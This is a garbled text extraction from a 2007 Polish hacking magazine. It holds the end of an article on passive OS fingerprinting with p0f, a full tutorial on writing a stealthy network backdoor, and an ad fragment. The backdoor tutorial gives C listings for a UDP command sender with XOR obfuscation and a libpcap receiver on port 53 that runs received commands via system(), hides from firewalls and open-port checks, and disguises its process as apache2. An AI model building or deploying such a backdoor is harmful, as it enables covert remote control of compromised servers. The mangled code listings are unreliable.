kową  była  liczba  64.  Łatwo  także
zauważyć, że skoro potrafimy usta-
lić wartość początkową TTL to po-
trafimy także określić odległość od
danej maszyny oraz określić, jakie
systemy  mogły  wysłać  taki  pakiet.
Systemy  Windows  ustawiają  TTL
na  128,  natomiast  Linux  oraz  sys-

temy BSD ustawiają początkowy
TTL na 64. Jak widać, przy pomo-
cy tego jednego pola potrafimy po-
dać zakres systemów, które wysła-
ły dany pakiet.

Window

Rozmiar  okna  (ang.  window)  od-
zwierciedla  maksymalną  liczbę  da-
nych,  które  mogą  być  wysłane  bez
konieczności  oczekiwania  na  po-
zytywne  potwierdzenie.  Umożliwia
zwiększanie  szybkości  z  jaką  prze-
syłane  są  dane.  Podczas  transmisji
danych  rozmiar  okna  jest  zmienia-
ny w celu optymalnego wykorzysta-
nia łącza.

Rozmiar okna jest dla nas in-

formacją najbardziej przydatną dla
ustalenia  systemu  na  drugim  koń-
cu kabla, ponieważ może przyjmo-
wać  wartość  maksymalną  65535
bajtów.  Różne  wersje  tego  same-
go  systemu  z  reguły  używają  in-
nych  rozmiarów  okna  w  pakietach
TCP  SYN.  Przykładem  może  być
Windows 98, który ustawia rozmiar
okna  na  8192  bajty  oraz  Windows
XP,  który  preferuje  większy  roz-
miar, najczęściej 64512.

Dodatkowe opcje TCP

Protokół  TCP  jest  otwarty  i  moż-
na  rozszerzać  jego  możliwości
dołączając  dodatkowe  opcje  za

Protokół TCP/IP

TCP/IP  to  powszechnie  używane  po-
łączenie dwóch protokołów. IP to pro-
tokół  warstwy  sieci  (zgodnie  z  mode-
lem  OSI),  co  oznacza,  że  odpowia-
da  za  właściwe  adresowanie  i  prze-
syłanie  danych,  ale  zupełnie  nie  zaj-
muje  się  poprawnością  samej  trans-
misji.  To  zadanie  należy  do  protokołu
niższego rzędu – TCP, należącego do
warstwy transportowej. Dlatego może-
my powiedzieć, że nagłówek IP znajdu-
je się nad nagłówkiem TCP w pakiecie.
Większość sieci komputerowych, a już
szczególnie Internet, jest heterogenicz-
na, co oznacza, że są w nich stosowa-
ne różne protokoły. TCP/IP to tylko je-
den z możliwych wariantów (inne to na
przykład  UDP/IP  czy  ICMP/IP),  choć
bardzo popularny.

Rysunek 3.

Schemat nagłówka IP oraz TCP

Rysunek 2.

Program p0f podczas pracy

Pasywne rozpoznawanie systemów operacyjnych

nagłówkiem. Wiele takich opcji zo-
stało  zdefiniowanych  w  różnych
dokumentach RFC później niż sa-
ma specyfikacja protokołu TCP. Ze
względu  na  ich  opcjonalne  użycie
otrzymujemy  kolejną  możliwość
rozpoznania różnic w implementa-
cjach stosu sieciowego. Co więcej,
kolejność  ustawienia  opcji  w  pa-
kiecie  oraz  ich  wartości  są  usta-
lane dowolnie przez systemy ope-
racyjne,  co  jest  bardzo  pomocne.
Poniżej  zostało  wymienionych  kil-
ka  opcji  przydatnych  w  identyfi-
kacji:

• Maximum Segment Size (MSS)

– jak wskazuje nazwa, opcja
określa maksymalny rozmiar
segmentu TCP,

• Window Scale (Wscale) – służy

do zwiększenia rozmiaru okna do

wartości większych niż 64kB, co
pozwala na wydajniejsze przesy-
łanie danych w przypadku łącz o
dużej przepustowości,

• Selective ACK – opcja umożli-

wiająca  wybiórczą  retransmisję
zagubionych  pakietów  (zamiast
wszystkich począwszy od pierw-
szego, który nie dotarł do odbior-
cy)  co  pozytywnie  wpływa  na
szybkość transmisji,

• Timestamp – zawiera znacznik

czasu, często jest wykorzystywa-
na do oszacowania czasu działa-
nia systemu, który wysłał pakiet z
taką opcją,

• No Option (NOP) – pusta opcja

stosowana jako wypełniacz,

Kolejność ułożenia powyższych
opcji oraz ich wartości są bogatym
źródłem informacji o systemach.

Rozmiar pakietu

Całkowita  długość  pakietu  inicjują-
cego połączenie także stanowi źró-
dło  informacji.  Najmniejszy  możliwy
rozmiar to 40 bajtów. Jak wiemy pod
nagłówkiem  TCP  znajdują  się  do-
datkowe  opcje  rozszerzające  moż-
liwości protokołu. Ilość dołączonych
opcji ma wpływ na końcowy rozmiar
pakietu, co z kolei stanowi informa-
cję o systemach generujących takie
pakiety. Przykładowo, starsze wersje
systemu Linux używały do nawiązy-
wania nowych połączeń TCP pakie-
tów o długości 44 bajtów. Natomiast
najnowsze  generują  pakiety  SYN  o
wielkości 60 bajtów.

Przykładowe

rozpoznanie

Spróbujmy wykorzystać świeżo zdo-
bytą wiedzę i przeanalizujmy przy-

Tabela 2.

Charakterystyczne wartości wybranych pół w pakietach TCP/IP dla poszczególnych systemów

operacyjnych

Nazwa systemu

TTL

Rozmiar okna

Flaga DF

Rozmiar pakietu

Linux 2.4

5840

ustawiona

Linux 2.0

512

brak

FreeBSD

65535

ustawiona

Windows 98

128

8192

ustawiona

Windows XP

128

64512

ustawiona

hakin9 Nr 3/2007

www.hakin9.org

Atak

kładowy pakiet, który otrzymaliśmy
używając narzędzia tcpdump:

15:27:01.255446 80.54.76.241.1026 >
80.54.10.76.80: S [tcp sum ok]
2222061320:2222061320(0) win
512 (ttl 61, id 29, len 44)

Oto informacje, które nas interesują:

• TTL (Time To Live) równe

;

• rozmiar okna wynosi

512

;

• flaga DF nie jest ustawiona;
• długość pakietu to

bajty.

Pierwszą  rzeczą,  na  którą  powinni-
śmy zwrócić uwagę jest brak flagi DF
(Don't Fragment). Możemy założyć,
że pakiet został wysłany przez jeden
ze  starszych  systemów  np.  Linux
2.0.x, OpenBSD 2.x czy Cisco IOS.
Wartość TTL zawiera się w przedzia-
le od 32 do 64, dlatego przyjmujemy,
iż początkowa wartość tego pola wy-
nosiła 64. Cisco ustawia początkowe
TTL na 255, dlatego możemy go wy-
kluczyć  z  listy  potencjalnych  syste-
mów. Pozostają nam systemy Linux
2.0.3x  oraz  OpenBSD  2.x.  Rozmiar
okna 512 pozwala nam stwierdzić, że
poszukiwanym systemem jest Linux
2.0.3x,  najprawdopodobniej  popu-
larna  mini-dystrybucja  Freesco.  Po-
twierdza to także długość pakietu.

Samodzielna analiza pakietów

jest skomplikowana i bardzo czaso-
chłonna. Na szczęście dla nas ist-
nieje narzędzie, które uczyni pasyw-
ne rozpoznawanie systemów łatwym
i przyjemnym.

Oprogramowanie

Jednym  z  narzędzi  wykorzystywa-
nych  do  pasywnego  fingerprintingu
jest program p0f, który do działania
wymaga  popularnej  biblioteki  pcap.
Jego  funkcjonalność  została  wyko-
rzystana  w  filtrze  pakietów  z  syste-
mu OpenBSD (dodając odpowiednią
regułę można na przykład odrzucać
pakiety wysłane przez systemy z ro-
dziny MS Windows). Podobne moż-
liwości  można  dodać  przy  pomo-
cy  odpowiedniej  łatki  do  linuksowe-
go netfilter.

Program podczas pracy wyko-

rzystuje gotowe sygnatury systemów

(przechowywane w zwykłych plikach
tekstowych), które porównuje z infor-
macjami przenoszonymi przez prze-
chwycone  pakiety.  Przykładowa  sy-
gnatura  dla  systemu  Linux  2.0.3x
wygląda  następująco:

512:64:0:44:

M*:.:Linux:2.0.3x

. Kolejne pola (od-

dzielone dwukropkami) w tym zapi-
sie oznaczają:

•   512 – rozmiar okna TCP;
•   64 – początkowa wartość TTL;
•   0  –  obecność  flagi  Don't  Frag-

ment (zero oznacza brak);

• 44 – rozmiar pakietu;
• M* – maksymalny rozmiar seg-

mentu (MSS) – znak gwiazdki
oznacza dowolną wartość.

Ponieważ  p0f  wykorzystuje  biblio-
tekę  pcap,  możliwe  jest  zastosowa-
nie reguł BPF do filtrowania analizo-
wanych  pakietów  (na  przykład  jeśli
chcemy ograniczyć się tylko do kom-
puterów łączących się z usługami na
konkretnym  porcie)  lub  nasłuchiwa-
nie na wybranym urządzeniu (wyko-
rzystując opcję

-i

Program jest całkowicie darmo-

wy i działa na wielu systemach. W
przypadku Windows wymagana jest
biblioteka WinPcap.

Jak nie dać się wykryć

Chcąc oszukać taki program jak p0f
czy  nmap  będziemy  zmuszeni  do
samodzielnej  edycji  kodu  źródło-
wego jądra lub wykorzystania goto-
wych  pakietów,  które  dokonają  od-
powiedniej  modyfikacji  za  nas.  Do
najbardziej  znanych  należą  Ipper-

sonality oraz kosf (The Kernel OS

Faker). Potrafią skutecznie zmienić
zachowanie  naszego  stosu  TCP/IP
w taki sposób, aby ciekawska osoba
po  drugiej  stronie  myślała,  że  uży-
wamy  na  przykład  sieciowej  dru-
karki  laserowej.  Wadą  takiego  roz-
wiązania  jest  ewentualne  osłabie-
nie  jakości  stosu  sieciowego  przez
co stanie się mniej wydajny i podat-
ny  na  różnego  rodzaju  ataki.  Z  te-
go powodu wymienione pakiety mo-
gą służyć jedynie do zabawy w do-
mu. Nigdy nie powinno się ich stoso-
wać na systemach pełniących waż-
ne funkcje.

Istnieje jednak bezpieczne roz-

wiązanie, które spowoduje, że roz-
poznanie nazwy naszego systemu
będzie znacznie utrudnione. Polega
na zmianie domyślnej wartości pola
TTL w wysyłanych pakietach. Można
tego dokonać jednym poleceniem:

# echo 128 > /proc/sys/net/ipv4/ip_

default_ttl

Po tym zabiegu p0f określi nasz sys-
tem jako

Unknown

, czyli nierozpozna-

ny.  Zmiana  TTL  nie  ma  żadnego
wpływu na wydajność i bezpieczeń-
stwo połączeń, więc może być stoso-
wana bez obaw. Oczywiście wszyst-
kie  aplikacje,  które  mają  dostęp  do
warstwy  sieciowej  i  transportowej
czyli samodzielnie generują nagłów-
ki pakietów (na przykład skaner sie-
ciowy nmap), nie będą respektowały
wprowadzonych zmian.

Podsumowanie

Pasywny fingerprinting ma wiele zalet.
Jest szybki i zupełnie anonimowy. Z
powodzeniem może być wykorzysty-
wany w systemach IDS (Intrusion De-

tection System) i wszędzie tam gdzie
potrzebne jest bardzo szybkie dostar-
czenie informacji na temat sieci, użyt-
kowników serwera lub innej maszyny
o krytycznym znaczeniu. l

O autorze

Zajmuje  się  bezpieczeństwem  sieci  i
systemów  komputerowych.  Czasami
bawi się w programistę tworząc coś, co
ma być przydatne, ale różnie z tym by-
wa.  Na  co  dzień  student  drugiego  ro-
ku  informatyki.  Kontakt  z  autorem:  el-
ceef@itsec.pl

Uptime

Pakiety  TCP  mogą  zawierać  dodat-
kową  informację  w  postaci  znacznika
czasu – opcji timestamp. Różne syste-
my zwiększają jej wartość z różną czę-
stotliwością, najczęściej o 100 w ciągu
sekundy. Jeśli pomnożymy ten znacz-
nik  przez  odpowiednią  częstotliwość,
otrzymamy czas działania danego sys-
temu  (od  jego  ostatniego  uruchomie-
nia), czyli tzw. uptime.

www.hakin9.org

hakin9 Nr 3/2007

Obrona

o włamaniu do systemu intruz zwykle
podejmuje próbę zostawienia sobie
tylnej furtki, aby w przyszłości mieć

możliwość jego kontroli. W większości przy-
padków  osiągane  jest  to  dwuetapowo:  po-
przez instalację właściwego backdoora oraz
oprogramowania  określanego  jako  “rootkit”,
mającego ukryć obecność backdoora w sys-
temie.  Klasyczny  rootkit  przechwytuje  wy-
brane  wywołania  systemowe  wprowadzając
do  nich  własne  funkcjonalności.  Zwykle  ma
to na celu usunięcie prezentowania informa-
cji  o  zainstalowanym  oprogramowaniu  intru-
za oraz o eksploatowanych przez to oprogr-
mowanie zasobach systemowych. Takie roz-
wiązania charakteryzują się jednak wysokim
stopniem  iwazyjności  w  system-ofiarę.  Wy-
korzystanie rootkitów może powodować ano-
malie w pracy serwera - zmniejszenie wydaj-
ności, destabilizację, zaburzenie (albo całko-
wite zaprzestanie) działania określonej grupy
programów  lub usług itp. Wszystkie wymie-
nione elementy zostają zwykle dosyć szybko
zauważone i wywołują wzmożenie czujności
administratora,  wnikliwą  analizę  problemu,
a w konsekwencji wykrycie faktu naruszenia
bezpieczeństwa.

Dodatkowo istnieje kolejna trudność. Ma

ona  miejsce  w  przypadku  pozostawienia
backdoora,  który  na  określonym  porcie  sie-
ciowym nasłuchuje w oczekiwaniu na pakie-
ty od intruza. W takim wypadku zmiana poli-
tyki  firewalla  powodująca  odrzucenie  pakie-
tów sieciowych kierowanych na port backdo-
ora  spowoduje  że  komunikacja  z  nim  stanie
się  niemożliwa.  Filtr  IP  zablokuje  transport
pakietów do warstwy aplikacji i nastąpi brak
możliwości jakiejkolwiek komunikacji z tylny-
mi drzwiami.

Niewidzialne backdoory

Michał Styś

stopień trudności

Pozostawienie w skompromitowanym systemie tylnej furtki w

postaci programu otwierającego port, na którym oczekuje on

pakietów z poleceniami od intruza wiąże się z dużą łatwością

zdekonspirowania całego przedsięwzięcia przez administratora.

Dodatkowo wykorzystanie takiego backdoora utrudnić może

polityka firewalla ustalona na zaatakowanej maszynie.

Z artykułu nauczysz się...

• jak ukryć sieciowy backdoor w systemie
• jak uniezależnić komunikację z backdoorem od

polityki firewalla zastosowanej na atakowanym
serwerze

Powinieneś wiedzieć...

• powinieneś znać podstawy modelu OSI
• powinieneś posiadać wiedzę o protokołach IP

oraz UDP

• powinieneś znać język C

Ukrywanie sieciowych backdoorów

hakin9 Nr 3/2007

www.hakin9.org

W obliczu wymienionych proble-

mów,  rozwiązaniem  jest  stworzenie
backdoora  jak  najmniejszego,  moż-
liwie najmniej inwazyjnego oraz nie-
wrażliwego  na  stan  firewalla.  Do-
datkowo  należy  zwrócić  uwagę  na
aspekty  ukrycia  lub  zamaskowania
jego  obecności  w  systemie  kompu-
terowym.

Kamuflaż

Jako  pierwsza,  rozważona  zosta-
nie kwestia ukrycia nasłuchu na por-
cie sieciowym. Aby osiągnąć ten cel,
należy  zauważyć,  że  do  przesłania
danych  pomiędzy  dwiema  aplika-
cjami  w  sieci  IP,  nie  potrzeba  wca-
le  otwierać  portu  po  stronie  odbior-
cy  (patrz  Ramka  Komunikacja  sie-

ciowa  bez  otwartych  portów).  Za-
miast  pełnej  komunikacji,  backdo-
or  będzie  przechwytywał  pakiety  w
ten  sam  sposób, w  jaki  robi  to  snif-
fer sieciowy. Wiąże się to oczywiście
z utratą wszystkich funkcjonalności,
jakie daje zaimplementowana w sys-
temach operacyjnych obsługa proto-
kołów warstwy transportowej. Opro-
gramowanie  backdoora  musi  więc
posiadać  minimalny  zestaw  opera-
cji  umożliwiający  zweryfikowanie
poprawności  otrzymanego  pakietu.
Dzięki  takiemu  podejściu,  backdo-
or  nie  będzie  jawnie  bindował  żad-
nego portu, a więc administrator nie
wykryje  go  w  procesie  monitoringu
otwartych portów.

Drugą kwestią jest uniezależ-

nienie  programu  od  ściany  ognio-
wej.  W  rozwiązaniu  tego  proble-
mu  pomocna  będzie  ta  sama  wła-
ściwość,  która  pozwliła  ukryć  fakt
nasłuchu sieciowego. Teraz umoż-
liwi wykorzystanie naszych tylnych
drzwi  w  warunkach  zablokowania
portu przez administratora. Nie bę-
dzie  mieć  znaczenia  polityka  fire-
walla  ustawiona  dla  portu  na  któ-
rym  backdoor  oczekuje  pakietów.
Projektowany  program  działał  bę-
dzie  bowiem  w  tej  samej  warstwie
co filtr sieciowy. Filtr ten jest w sta-
nie zablokować transport pakietów
do  warstwy  aplikacji,  jednak  tylko
wtedy gdy aplikacja komunikuje się
za pośrednictwem sieci w standar-
dowy sposób.

Kolejną ważną cechą progra-

mu backdoora jest fakt, że może on
oczekiwać pakietów na porcie, któ-
ry został już otwarty i jest wykorzy-
stywany  przez  inną  usługę.  W  ta-
kich wypadkach zwrócić należy do-
datkową  uwagę  na  fakt,  że  pakie-
ty z poleceniami dla backdoora bę-
dą  przekazywane  również  do  sa-
mej  aplikacji.  Dodatkowo  komuni-
kacja  może  zostać  wykryta  przez
system typu anomally IDS, którego
zadaniem jest nadzór komunikacji i
wykrywanie  w  niej  wszelkich  ele-
mentów będących odstępstwem od
normy.  W  załączonym  do  artykułu
oprogramowaniu ładunek pakietów
do  komunikacji  z  backdoorem  nie
przypomina swoją strukturą ładun-
ku żadnego z istniejących protoko-
łów sieciowych. Można jednak pod-
jąć próby dodatkowego kamuflażu i
przemycania  komunikatów  dla  tyl-
nych  drzwi  w  pakietach,  które  bę-
dą  zgodne  z  istniejącymi  protoko-
łami  sieciowymi  warstwy  aplikacji
w  takim  stopniu,  że  staną  się  nie-
zauważalne dla systemów IDS. Au-
tor niniejszego artykułu jest otwar-
ty na wszelkie sugestie i pomysły w
tym zakresie.

Implementacja

backdoora

Pierwszym  krokiem  przy  projekto-
waniu  programu  jest  specyfikacja
wymagań,  jakie  program  ten  musi
spełniać.  Od  tylnych  furtek  zwykle
wymaga  się  możliwości  ingerencji
w system operacyjny za ich pośred-
nictwem.  W  prezentowanym  przy-
kładzie,  zaimplementowana  zosta-
nie możliwość zdalnego wykonywa-
nia poleceń w systemie z zainstalo-
wanym backdoorem.

Model komunikacji

Jako protokół transmisyjny do komu-
nikacji wybrany został UDP. Protokół
ten, mimo swojej naturalnej zawod-
ności znakomicie nadaje się do prze-
syłania niewielkich porcji danych w
szybki i łatwy sposób.

Aby efektywnie móc przekazać

polecenie  do  znajdującego  się  w
odległym  systemie  backdoora,  na-
leży ustalić format danych w jakim
przesyłane one będą poprzez sieć.
Zgodnie z tym, co napisane zosta-
ło wcześniej, nasza tylna furtka bę-
dzie  miała  możliwość  oczekiwa-
nia na pakiety również na portach,
które  wykorzystywane  są  w  danej
chwili przez inną usługę. Wiąże się
to  z  koniecznością  wprowadzenia
mechaniki  pozwalającej  na  odróż-
nienie,  które  dane  przeznaczone
są dla backdoora, a które nie. Pa-
kiet musi także zawierać treść ko-
mendy,  jaka  ma  być  wykonana  w
zdalnym  systemie  oraz  informacje
pozwalające  na  weryfikację  jego
integralności.

Komunikacja sieciowa

bez otwartych portów

W  ostatnim  czasie  coraz  bardziej  po-
pularne  staje  się  wykorzystywanie  do
pewnych  celów  komunikacji  sieciowej
bez standardowego kojarzenia aplikacji
nasłuchującej z danym portem. Podej-
ście to ma wiele zastosowań (m.in. port
knocking  opisany  w  numerze  5/2005
pisma  Hakin9),  a  rozwój  biblioteki
PCAP  (dostępnej  pod  adresem  http://
sourceforge.net/projects/libpcap/)  bę-
dącej wysokiej jakości wieloplatformo-
wym interfejsem programistycznym dla
przechwytywania  pakietów  znacznie
ułatwia implementację narzędzi wyko-
rzystujących analizę danych na pozio-
mie niższych warstw modelu OSI.

Rysunek 1.

Format danych dla backdoora

sygnatura

dane

długość

danych

suma

kontrolna

Tabela 1.

Tablica prawdy dla

alternatywy wykluczającej

p XOR q

hakin9 Nr 3/2007

www.hakin9.org

Obrona

Proponowanym rozwiązaniem

wyżej wymienionych elementów jest
wprowadzenie formatu danych, któ-
rego postać określa Rysunek 1.

Programowo format ten zrealizo-

wany został jako struktura przedsta-
wiona na Listingu 1.

Elementem odróżniającym dane

dla  tylnych  drzwi  od  danych  prze-
znaczonych  dla  innych  aplikacji
jest pierwsze pole – sygnatura. Po-
zwala na umieszczenie krótkiej se-
kwencji  znaków  cechującej  pakiet.
Po jej wykryciu, backdoor rozpocz-
nie przetwarzanie otrzymanych da-
nych.  Drugie  pole  to  długość  da-
nych.  Przechowuje  informację  o
ilości  znaków  zawartych  w  tablicy

data

. Informacja ta jest niezbędna,

z uwagi na fakt, że przesyłane da-
ne mają zmienną długość, a ponie-
waż  w  celu  ukrycia  treści  polece-
nia  zastosowana  zostanie  techni-
ka prostego szyfrowania, w danych
mogą  pojawić  się  zerowe  bajty.  W
takim wypadku określenie prawdzi-
wej  długości  danych  byłoby  utrud-
nione.  Pole

data _ len

pozwala na

uniknięcie tego problemu. Czyn-
nikiem poprawiającym stabilność
całego układu jest suma kontrolna
crc32 umieszczona w polu

crc

Omówione elementy są wstę-

pem  do  prowadzenia  komunika-
cji w warunkach braku mozliwości
polegania  na  systemowej  imple-
mentacji  protokołów.  Mając  usta-
lony  język  w  jakim  będzie  poro-
zumiewać  się  nasze  oprogramo-
wanie,  czas  na  stworzenie  modu-
łu formującego i wysyłającego pa-
kiet do sieci.

Moduł wysyłania

komend

Zadaniem modułu wysyłającego jest
pobranie z linii komend parametrów
określających  cel  podróży  pakietu,
wypełnienie  struktury  z  Listingu  1,
osadzenie danych na protokole UDP
a następnie wysłanie ich do miejsca
przeznaczenia.  Program  wysyłający
nosi nazwę

sender

i przyjmuje nastę-

pujące parametry:

Usage: ./sender <IPaddress> <Port>

"<Command>"

Parametrami są: docelowy adres IP,
docelowy port oraz treść polecenia,
które ma być wykonane w zdalnym
systemie.

W takim podejściu istotną rze-

czą jest zamaskowanie polecenia
przesyłanego przez sieć. Przesłanie

go jawnym tekstem znacznie zwięk-
sza ryzyko wykrycia komunikacji. W
programach  tego  typu  wystarczają-
cym  rozwiązaniem  okazuje  się  pro-
ste  szyfrowanie  tekstu  przy  wyko-
rzystaniu  alternatywy  wykluczającej
XOR. Funktor XOR posiada tą cieka-

Listing 1.

Struktura do przechowywania formatu danych dla backdoora

struct

header

{

char

sig

[

];

unsigned

short

data_len

;

unsigned

int

crc

;

char

data

[

PAYLOAD

];

}

;

Listing 2.

Najważniejsze fragmenty kodu wysyłającego pakiet do

backdoora

[

...

]

char

packet

(

char

malloc

(

fixedsize

);

struct

header

head

(

struct

header

packet

;

[

...

]

count

strlen

(

argv

[

]);

ptr

pass

;

for

(

;

count

;

++)

{

ptr

)

ptr

pass

;

head

data

[

]

ptr

argv

[

][

];

payloadsize

++;

}

head

data_len

htons

(

count

);

head

crc

htonl

(

crc32b

(

head

data

count

));

[

...

]

servaddr

sin_family

AF_INET

;

servaddr

sin_port

htons

(

atoi

(

argv

[

]));

inet_pton

(

AF_INET

argv

[

]

servaddr

sin_addr

);

sockfd

socket

(

AF_INET

SOCK_DGRAM

);

sendto

(

sockfd

packet

headersize

payloadsize

(

servaddr

sizeof

(

servaddr

));

Listing 3.

Kod przetwarzający pakiet nadesłany do backdoora

strncmp

(

sig

head

sig

))

{

data_len

ntohs

(

head

data_len

);

orig_checksumm

ntohl

(

head

crc

);

ptr

pass

;

for

(

;

data_len

;

++)

{

ptr

)

ptr

pass

;

in_buff

[

]

ptr

head

data

[

];

(

1023

)

break

;

}

checksum

crc32b

(

head

data

data_len

);

(!(

checksum

orig_checksumm

))

system

(

in_buff

);

}

Ukrywanie sieciowych backdoorów

wą  cechę,  że  zastosowana  dwa  ra-
zy na tych samych danych nie zmie-
nia ich. Właściwość tą da się wyko-
rzystać do szyfrowania i deszyfrowa-
nia. Jeśli ustalimy pewien zbiór zna-
ków jako klucz, a następnie według
tego  klucza  przetworzymy  funkcją
XOR ciąg tekstu, to otrzymamy w ten
sposób  zaszyfrowany  ciąg  danych.
Aby przywrócić oryginalne dane, wy-
starczy  zaszyfrowany  ciąg  poddać
przetworzeniu funkcją XOR przy wy-
korzystaniu  tego  samego  hasła  co
przy  szyfrowaniu.  Nie  jest  to  meto-
da nadająca się do szyfrowania bar-
dzo poufnych danych, ale w omawia-
nym zastosowaniu jest w zupełności
wystarczająca. Tabela 1 przedstawia
tablicę prawdy dla funktora logiczne-
go XOR.

Zastosowanie szyfrowania przez

XOR'owanie  pozwala  na  osiągnię-
cie  jeszcze  jednego  bardzo  ważne-
go  celu.  Nie  chcielibyśmy,  aby  do-
wolna  osoba  mogła  wykorzystywać
backdoor.  Dzięki  zastosowaniu  sy-
metrycznej techniki szyfrowania, bę-
dzie to mógł robić tylko ten, kto po-
siada  hasło  szyfrujące.  Zaletą  tego
podejścia  jest  fakt,  że  jawne  hasło
nie jest w żadnym momencie przesy-
łane przez sieć.  Do wad należy sła-
bość mocy samego szyfru.

W projektowanym programie

hasło ustalić można w pliku

src/

global.h

zmieniając linię:

#define PASSWORD "secretpass"

Następnie  należy  przekompilować
program.  Listing  2  przedstawia  naj-
ważniejsze  elementy  programu  wy-
syłającego dane. Na listingu drugim
zobaczyć można rzutowanie wskaź-
nika  struktury

header

w celu łatwe-

go wypełnienia tablicy

packet

zgod-

nie  z  formatem  samej  struktury.  W
następnym  kroku  odbywa  się  szy-
frowanie  danych  i  umieszczenie  ich
w  odpowiednim  polu.  Po  wypełnie-
niu  wszystkich  pól  struktury,  pro-
gram  tworzy  datagramowe  gniazdo
sieciowe zgodne z parametrami po-
danymi  z  linii  komend  i  wysyła  pa-
kiet do sieci.

Moduł odbioru i

realizacji komend

Elementem  odbierającym  i  realizu-
jącym polecenie wysłane przez sieć
jest  właściwy  backdoor.  Działa  on
w  sposób  podobny  do  sniffera  sie-
ciowego.  Napisany  został  przy  wy-
korzystaniu  biblioteki  libpcap.  Re-
gułę filtra według której odbywa się
analiza  pakietów  zdefiniować  moż-

na z poziomu pliku nagłówkowego

src/global.h

. Domyślnie jest ona na-

stępująca:

#define LISTEN_STRING "udp port 53"

Oznacza  to,  że  program  będzie
analizował pakiety UDP przesyłane
na port o numerze 53. Port 53 jest
dobrze znany portem usługi DNS, a
więc istnieje możliwość, że w sys-
temie na porcie tym działał będzie
program BIND (lub inny demon ob-
sługi  DNS).  Zgodnie  z  opisanymi
wcześniej  funkcjonalnościami,  nie
przeszkadza  to  naszemu  oprogra-
mowaniu do stabilnej pracy. Pakie-
ty  przeznaczone  dla  usługi  DNS
będą  przez  backdoor  ignorowane,
ponieważ nie posiadają cech jakich
oczekuje. Kod backdoora przetwa-
rzający analizowany pakiet według
opisanych kryteriów znajduje się na
Listingu 3.

Jak widać na Listingu 3, podsta-

wowym  elementem  determinującym
podjęcie  jakichkolwiek  działań  jest
sprawdzenie  sygnatury.  Jeśli  jest
ona  zgodna  z  sygnaturą  pakietów
backdoora,  następuje  dalsze  prze-
twarzanie. Kolejnym krokiem jest zli-
czenie sumy kontrolnej. Jeśli jest ona
zgodna z sumą kontrolną zawartą w

hakin9 Nr 3/2007

www.hakin9.org

Obrona

pakiecie, nastepuje wykonanie pole-
cenia w systemie.

Zastosowanie funkcji

system

wykonania  komendy  nie  jest  zbyt
eleganckim  pomysłem.  Sposób  ten
został  wykorzystany  jedynie  w  celu
ilustracji  idei  budowy  niebindujące-
go portu backdoora.

Jak już było wspominane, back-

door  zbudowany  został  w  oparciu
o  bibliotekę  libpcap.  Opis  bibliote-
ki    zaprezentowany  został  na  ła-
mach  hakin9  (Nr  6/2006).  Inicjali-
zacja  sniffera  i  uruchomienie  pętli
oczekującej na pakiety znajduje się
na listingu 4.

Backdoor domyślnie nasłuchu-

je  na  wszystkich  dostępnych  w
systemie  interfejsach  sieciowych.
Po  zdefiniowaniu  reguły  filtra

“udp

port 53”

, wysłanie pakietu z pole-

ceniem powinno mieć następują-
cą postać:

./sender adres_ip 53 "echo test >

/root/test"

Wysłanie tego polecenia spowo-
duje założenie pliku

test

w katalo-

root

Oprogramowanie dołączone na

płycie CD może działać w dwóch try-
bach: jako demon oraz w trybie de-
bugowania. W trybie debugowania
program nie pracuje w tle i prezentu-
je informacje o pakietach jakie są do
niego adresowane. Aby uruchomić
tryb debugowania należy uruchomić
backdoor następująco:

./backdoor -D

Przykładowe dane generowane
przez backdoor w trybie debugowa-
nia po wysłaniu pakietu:

./sender 127.0.0.1 53 "echo test >

/root/test"

Wyglądają następująco:

Good signature: [S]
original checksumm: 0x86bbead2 computed
checksumm: 0x86bbead2 - OK!
Command length: 22
Executing command: echo test > /root/

test

Ukrycie procesu

w systemie

W obecnej postaci, program wypo-
sażony został w prostą technikę ma-
skowania się w systemie. Polega ona
na podmianie nazwy własnego pro-
cesu. Operację tą realizuje linia:

strcpy(argv[0], FAKENAME);

Stała FAKENAME może być ustala-
na z poziomu pliku

src/global.h

. Do-

myślnie program podszywa się pod
serwer apache:

#define FAKENAME "/usr/sbin/apache2 -D
DEFAULT_VHOST -d /usr/lib/apache2 -f
/etc/apache2/httpd.conf -k start"

Prezentowany  program  można
oczywiście  połączyć  z  bardziej
wyrafinowanymi  metodami  kamul-
fażu.

Podsumowanie

Opisane techniki działania tyl-

nych  furtek  niosą  jak  widać  wie-
le  nowych  możliwości.  Niewrażli-
wa  na  reguły  firewalla  komunika-
cja  może  sprawić  masę  proble-
mów  w  zabezpieczaniu  się  przed
tego  typu  technikami.  Z  pewno-
ścią warto jest poświęcić temu za-
gadnieniu trochę czasu przy kolej-
nej kontroli stanu bezpieczeństwa
serwera. l

W Sieci

• http://www.tla.ch/TLA/NEWS/2004sec/20040224PortKnocking.htm - artykuł o

backdoorach wykorzystujących technologię port knocking

• http://www.linuxjournal.com/article/6811 - artykuł o port knockingu
• http://www.packetstormsecurity.org - zbiór oprogramowania oraz artykułów doty-

czących bezpieczeństwa komputerowego

• http://sourceforge.net/projects/libpcap/ - biblioteka libpcap

Listing 4.

Inicjalizacja modułu analizy sieciowej backdoora

(

pcap_lookupnet

(

NULL

net

mask

errbuf

)

{

printf

(

"Error reading device data!

);

exit

(

);

}

((

sniff_session

pcap_open_live

(

NULL

BUFSIZ

errbuf

))

NULL

)

{

printf

(

"Error opening interface!

);

exit

(

);

}

set_hlength

(

pcap_datalink

(

sniff_session

));

(

pcap_compile

(

sniff_session

filter

filter_string

net

)

{

printf

(

"Error compiling filter!

);

exit

(

);

}

(

pcap_setfilter

(

sniff_session

filter

)

{

printf

(

"Error setting filter!

);

exit

(

);

}

pcap_loop

(

sniff_session

pkt_process

);

O autorze

Aktualnie jestem studentem ostatniego roku Informatyki na Akademii Górniczo-Hutni-
czej w Krakowie. Do moich głównych zainteresowań należy programowanie, admini-
stracja systemów komputerowych oraz aspekty bezpieczeństwa informatycznego.

Wraz z rozwojem programów szpiegowskich, ochro-
na sieci firmowej przed tego typu zagrożeniami sta-
je się potrzebą nie mniej ważną niż uznawana dziś
za niezbędną ochrona antywirusowa.

NISKA SKUTECZNOŚĆ ROZWIĄZAŃ
DARMOWYCH

Jak dowiodły liczne, niezależne testy, stosowane
czasem darmowe rozwiązania pod względem sku-
teczności znacznie odbiegają od rozwiązań komer-
cyjnych. Nie pozwalają także na centralną admini-
strację, tym samym obciążając dział IT i zmusza-
jąc go do doraźnego reagowania na już zaistnia-
łe szkody.

SPY SWEEPER ENTERPRISE –
OCHRONA SIECI KORPORACYJNEJ

Spy Sweeper Enterprise chroni komputery pracują-
ce w systemie Windows, zabezpieczając je przed ata-
